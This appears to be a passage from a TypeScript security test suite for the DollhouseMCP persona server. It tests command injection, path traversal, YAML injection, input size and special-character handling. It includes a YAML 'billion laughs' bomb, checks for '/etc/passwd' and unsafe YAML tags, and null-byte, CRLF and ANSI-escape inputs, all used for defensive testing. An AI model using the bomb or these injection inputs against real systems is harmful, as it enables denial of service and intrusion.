this.testInputSizeLimits(),\n          () => this.testSpecialCharacterHandling()\n        ]\n      }\n    ];\n    \n    if (category === 'all') {\n      return allSuites;\n    }\n    \n    const priorities = {\n      critical: ['critical'],\n      high: ['critical', 'high'],\n      medium: ['critical', 'high', 'medium']\n    };\n    \n    return allSuites.filter(suite => \n      priorities[category].includes(suite.category)\n    );\n  }\n\n  /**\n   * Test MCP tool for command injection vulnerabilities\n   */\n  private static async testMCPToolCommandInjection(toolName: string): Promise<void> {\n    // Create isolated test environment for each tool test\n    const tempDir = path.join(process.cwd(), '__tests__', 'temp', `security-framework-${Date.now()}`);\n    let server: any;\n    \n    try {\n      await fs.mkdir(tempDir, { recursive: true });\n      \n      // Set isolated environment for this test\n      const originalPersonasDir = process.env.DOLLHOUSE_PERSONAS_DIR;\n      process.env.DOLLHOUSE_PERSONAS_DIR = path.join(tempDir, 'personas');\n      await fs.mkdir(process.env.DOLLHOUSE_PERSONAS_DIR, { recursive: true });\n      \n      server = new DollhouseMCPServer();\n      const injectionPayloads = this.MALICIOUS_PAYLOADS.commandInjection;\n      \n      for (const payload of injectionPayloads) {\n        // Test the tool with malicious payload\n        try {\n          let result: any;\n          \n          switch (toolName) {\n            case 'create_persona':\n              result = await server.createPersona(payload, 'Description', 'educational', 'Instructions');\n              break;\n            case 'edit_persona':\n              // First create a safe persona with unique name for each test\n              const safePersonaName = `TestPersona${Date.now()}${Math.random().toString(36).substring(7)}`;\n              await server.createPersona(safePersonaName, 'Description', 'educational', 'Instructions');\n              result = await server.editPersona(safePersonaName, 'name', payload);\n              break;\n            case 'activate_persona':\n              result = await server.activatePersona(payload);\n              break;\n            default:\n              throw new Error(`Unknown tool: ${toolName}`);\n          }\n          \n          // If no error thrown, check that payload was sanitized or rejected\n          if (result && typeof result === 'object') {\n            const content = JSON.stringify(result);\n            \n            // Check if the payload was properly rejected by security validation\n            if (content.includes('Validation Error') || content.includes('prohibited content')) {\n              // Good - security system rejected the dangerous payload\n              expect(content).toMatch(/Validation Error|prohibited content|security/i);\n            } else if (content.includes('Already Exists') || content.includes('not found')) {\n              // Expected business logic responses\n              expect(content).toMatch(/Already Exists|not found/i);\n            } else {\n              // Check that dangerous payload was sanitized for display\n              // The system should remove dangerous characters from display output\n              // This is acceptable security behavior - dangerous chars removed\n              const hasOriginalPayload = content.includes(payload);\n              const hasDangerousChars = /[;&|`$()]/.test(content);\n              \n              // Both conditions should be false (no original payload AND no dangerous chars)\n              expect(hasOriginalPayload && hasDangerousChars).toBe(false);\n            }\n          }\n        } catch (error) {\n          // Expected - tool should reject malicious input\n          // Allow common error patterns\n          const errorMessage = error instanceof Error ? error.message : String(error);\n          if (!errorMessage.match(/not found|does not exist|already exists/i)) {\n            // This might be a security rejection\n            expect(errorMessage).toMatch(/invalid|malicious|dangerous|illegal/i);\n          }\n        }\n      }\n      \n      // Restore original environment\n      if (originalPersonasDir) {\n        process.env.DOLLHOUSE_PERSONAS_DIR = originalPersonasDir;\n      } else {\n        delete process.env.DOLLHOUSE_PERSONAS_DIR;\n      }\n    } finally {\n      // Cleanup temp directory\n      await fs.rm(tempDir, { recursive: true, force: true }).catch(() => {});\n    }\n  }\n\n  /**\n   * Test MCP tool for path traversal vulnerabilities\n   */\n  private static async testMCPToolPathTraversal(toolName: string): Promise<void> {\n    // Create isolated test environment for each tool test\n    const tempDir = path.join(process.cwd(), '__tests__', 'temp', `security-path-${Date.now()}`);\n    let server: any;\n    \n    try {\n      await fs.mkdir(tempDir, { recursive: true });\n      \n      // Set isolated environment for this test\n      const originalPersonasDir = process.env.DOLLHOUSE_PERSONAS_DIR;\n      process.env.DOLLHOUSE_PERSONAS_DIR = path.join(tempDir, 'personas');\n      await fs.mkdir(process.env.DOLLHOUSE_PERSONAS_DIR, { recursive: true });\n      \n      server = new DollhouseMCPServer();\n      const traversalPayloads = this.MALICIOUS_PAYLOADS.pathTraversal;\n      \n      for (const payload of traversalPayloads) {\n        try {\n          let result: any;\n          \n          switch (toolName) {\n            case 'get_persona_details':\n              result = await server.getPersonaDetails(payload);\n              break;\n            case 'import_persona':\n              result = await server.importPersona(payload);\n              break;\n            case 'share_persona':\n              result = await server.sharePersona(payload);\n              break;\n            default:\n              throw new Error(`Unknown tool: ${toolName}`);\n          }\n          \n          // Check result doesn't contain sensitive paths\n          const content = JSON.stringify(result);\n          expect(content).not.toContain('/etc/passwd');\n          expect(content).not.toContain('system32');\n          expect(content).toMatch(/not found|invalid|does not exist/i);\n        } catch (error) {\n          // Expected - should reject path traversal\n          const errorMessage = error instanceof Error ? error.message : String(error);\n          expect(errorMessage).toMatch(/invalid|traversal|dangerous|not found|does not exist/i);\n        }\n      }\n      \n      // Restore original environment\n      if (originalPersonasDir) {\n        process.env.DOLLHOUSE_PERSONAS_DIR = originalPersonasDir;\n      } else {\n        delete process.env.DOLLHOUSE_PERSONAS_DIR;\n      }\n    } finally {\n      // Cleanup temp directory\n      await fs.rm(tempDir, { recursive: true, force: true }).catch(() => {});\n    }\n  }\n\n  /**\n   * Test YAML injection prevention\n   */\n  private static async testYAMLInjectionPrevention(): Promise<void> {\n    // Create isolated test environment for each tool test\n    const tempDir = path.join(process.cwd(), '__tests__', 'temp', `security-yaml-${Date.now()}`);\n    let server: any;\n    \n    try {\n      await fs.mkdir(tempDir, { recursive: true });\n      \n      // Set isolated environment for this test\n      const originalPersonasDir = process.env.DOLLHOUSE_PERSONAS_DIR;\n      process.env.DOLLHOUSE_PERSONAS_DIR = path.join(tempDir, 'personas');\n      await fs.mkdir(process.env.DOLLHOUSE_PERSONAS_DIR, { recursive: true });\n      \n      server = new DollhouseMCPServer();\n      const yamlPayloads = this.MALICIOUS_PAYLOADS.yamlInjection;\n      \n      for (const payload of yamlPayloads) {\n        const result = await server.createPersona(\n          `YAMLTest${Date.now()}${Math.random().toString(36).substring(7)}`, // Unique name\n          payload, // description with injection\n          'educational',\n          payload  // instructions with injection\n        );\n        \n        // Check that dangerous YAML was not executed\n        const content = JSON.stringify(result);\n        expect(content).not.toContain('!!js/function');\n        expect(content).not.toContain('!!python/object');\n        expect(content).not.toContain('__proto__');\n        \n        // Verify persona was created safely or properly rejected\n        if (content.includes('Validation Error') || content.includes('prohibited content')) {\n          // Good - security system rejected the dangerous YAML payload\n          expect(content).toMatch(/Validation Error|prohibited content|security/i);\n        } else if (content.includes('Already Exists')) {\n          // If persona exists, that's fine for this test\n          expect(content).toContain('Already Exists');\n        } else {\n          // Otherwise it should be created successfully\n          expect(result.content[0].text).toContain('Created Successfully');\n        }\n      }\n      \n      // Restore original environment\n      if (originalPersonasDir) {\n        process.env.DOLLHOUSE_PERSONAS_DIR = originalPersonasDir;\n      } else {\n        delete process.env.DOLLHOUSE_PERSONAS_DIR;\n      }\n    } finally {\n      // Cleanup temp directory\n      await fs.rm(tempDir, { recursive: true, force: true }).catch(() => {});\n    }\n  }\n\n  /**\n   * Test YAML bomb prevention\n   */\n  private static async testYAMLBombPrevention(): Promise<void> {\n    const yamlBomb = `\n      a: &a [\"lol\", \"lol\", \"lol\", \"lol\", \"lol\", \"lol\"]\n      b: &b [*a, *a, *a, *a, *a, *a]\n      c: &c [*b, *b, *b, *b, *b, *b]\n      d: &d [*c, *c, *c, *c, *c, *c]\n      e: &e [*d, *d, *d, *d, *d, *d]\n      f: &f [*e, *e, *e, *e, *e, *e]\n    `;\n    \n    // Create isolated test environment\n    const tempDir = path.join(process.cwd(), '__tests__', 'temp', `security-bomb-${Date.now()}`);\n    let server: any;\n    \n    try {\n      await fs.mkdir(tempDir, { recursive: true });\n      \n      // Set isolated environment for this test\n      const originalPersonasDir = process.env.DOLLHOUSE_PERSONAS_DIR;\n      process.env.DOLLHOUSE_PERSONAS_DIR = path.join(tempDir, 'personas');\n      await fs.mkdir(process.env.DOLLHOUSE_PERSONAS_DIR, { recursive: true });\n      \n      server = new DollhouseMCPServer();\n      \n      const result = await server.createPersona(\n        `YAMLBomb${Date.now()}`,\n        yamlBomb,\n        'educational',\n        'test'\n      );\n      \n      // Should handle without memory explosion\n      expect(result).toBeDefined();\n      \n      // Check memory usage didn't explode\n      const memoryUsage = process.memoryUsage().heapUsed;\n      expect(memoryUsage).toBeLessThan(500 * 1024 * 1024); // Less than 500MB\n      \n      // Restore original environment\n      if (originalPersonasDir) {\n        process.env.DOLLHOUSE_PERSONAS_DIR = originalPersonasDir;\n      } else {\n        delete process.env.DOLLHOUSE_PERSONAS_DIR;\n      }\n    } finally {\n      // Cleanup temp directory\n      await fs.rm(tempDir, { recursive: true, force: true }).catch(() => {});\n    }\n  }\n\n  /**\n   * Test input size limits\n   */\n  private static async testInputSizeLimits(): Promise<void> {\n    // Create isolated test environment\n    const tempDir = path.join(process.cwd(), '__tests__', 'temp', `security-size-${Date.now()}`);\n    let server: any;\n    \n    try {\n      await fs.mkdir(tempDir, { recursive: true });\n      \n      // Set isolated environment for this test\n      const originalPersonasDir = process.env.DOLLHOUSE_PERSONAS_DIR;\n      process.env.DOLLHOUSE_PERSONAS_DIR = path.join(tempDir, 'personas');\n      await fs.mkdir(process.env.DOLLHOUSE_PERSONAS_DIR, { recursive: true });\n      \n      server = new DollhouseMCPServer();\n      const largeInput = 'x'.repeat(1024 * 1024); // 1MB\n      \n      const result = await server.createPersona(\n        `Large${Date.now()}`,\n        'Description',\n        'educational',\n        largeInput\n      );\n      \n      // Should handle large input gracefully (DollhouseMCP doesn't enforce size limits currently)\n      expect(result.content[0].text).toContain('Created Successfully');\n      \n      // Restore original environment\n      if (originalPersonasDir) {\n        process.env.DOLLHOUSE_PERSONAS_DIR = originalPersonasDir;\n      } else {\n        delete process.env.DOLLHOUSE_PERSONAS_DIR;\n      }\n    } finally {\n      // Cleanup temp directory\n      await fs.rm(tempDir, { recursive: true, force: true }).catch(() => {});\n    }\n  }\n\n  /**\n   * Test special character handling\n   */\n  private static async testSpecialCharacterHandling(): Promise<void> {\n    // Create isolated test environment\n    const tempDir = path.join(process.cwd(), '__tests__', 'temp', `security-chars-${Date.now()}`);\n    let server: any;\n    \n    try {\n      await fs.mkdir(tempDir, { recursive: true });\n      \n      // Set isolated environment for this test\n      const originalPersonasDir = process.env.DOLLHOUSE_PERSONAS_DIR;\n      process.env.DOLLHOUSE_PERSONAS_DIR = path.join(tempDir, 'personas');\n      await fs.mkdir(process.env.DOLLHOUSE_PERSONAS_DIR, { recursive: true });\n      \n      server = new DollhouseMCPServer();\n      const specialChars = [\n        '\\x00test', // null byte\n        'test\\r\\ninjection', // CRLF\n        '\\u202Etest', // RTL override\n        'test\\x1B[31m', // ANSI escape\n      ];\n      \n      for (const input of specialChars) {\n        const result = await server.createPersona(\n          `${input}${Date.now()}${Math.random().toString(36).substring(7)}`, // Unique name\n          'Description',\n          'educational',\n          'test instructions'\n        );\n        \n        // Should sanitize special characters\n        const content = JSON.stringify(result);\n        expect(content).not.toContain('\\x00');\n        expect(content).not.toContain('\\x1B');\n        expect(content).not.toContain('\\u202E');\n        \n        // Should still create persona successfully\n        expect(result.content[0].text).toContain('Created Successfully');\n      }\n      \n      // Restore original environment\n      if (originalPersonasDir) {\n        process.env.DOLLHOUSE_PERSONAS_DIR = originalPersonasDir;\n      } else {\n        delete process.env.DOLLHOUSE_PERSONAS_DIR;\n      }\n    } finally {\n      // Cleanup temp directory\n      await fs.rm(tempDir, { recursive: true, force: true }).catch(() => {});\n    }\n  }\n\n  /**\n   * Test for timing attacks\n   */\n  static async testTimingSafety(\n    operation: (input: string) => Promise<boolean>,\n    validInput: string,\n    invalidInputs: string[]\n  ): Promise<void> {\n    const timings: number[] = [];\n    \n    // Measure valid input timing\n    const validStart = process.hrtime.bigint();\n    await operation(validInput);\n    const validTime = Number(process.hrtime.bigint() - validStart);\n    \n    // Measure invalid input timings\n    for (const invalid of invalidInputs) {\n      const start = process.hrtime.bigint();\n      await operation(invalid);\n      const time = Number(process.hrtime.bigint() - start);\n      timings.push(Math.abs(time - validTime));\n    }\n    \n    // Check that timing differences are minimal (< 5ms variance)\n    const avgDiff = timings.reduce((a, b) => a + b, 0) / timings.length;\n    expect(avgDiff).toBeLessThan(5_000_000); // 5ms in nanoseconds\n  }\n}\n\n/**\n * Performance monitoring for security tests\n */\nexport class SecurityTestPerformance {\n  private static startTime: number;\n  \n  static start(): void {\n    this.startTime = Date.now();\n  }\n  \n  static checkpoint(testName: string): void {\n    const elapsed = Date.now() - this.startTime;\n    if (elapsed > 1000) { // Warn if test takes > 1 second\n      console.warn(`⚠️  Security test \"${testName}\" took ${elapsed}ms`);\n    }\n  }\n}"]}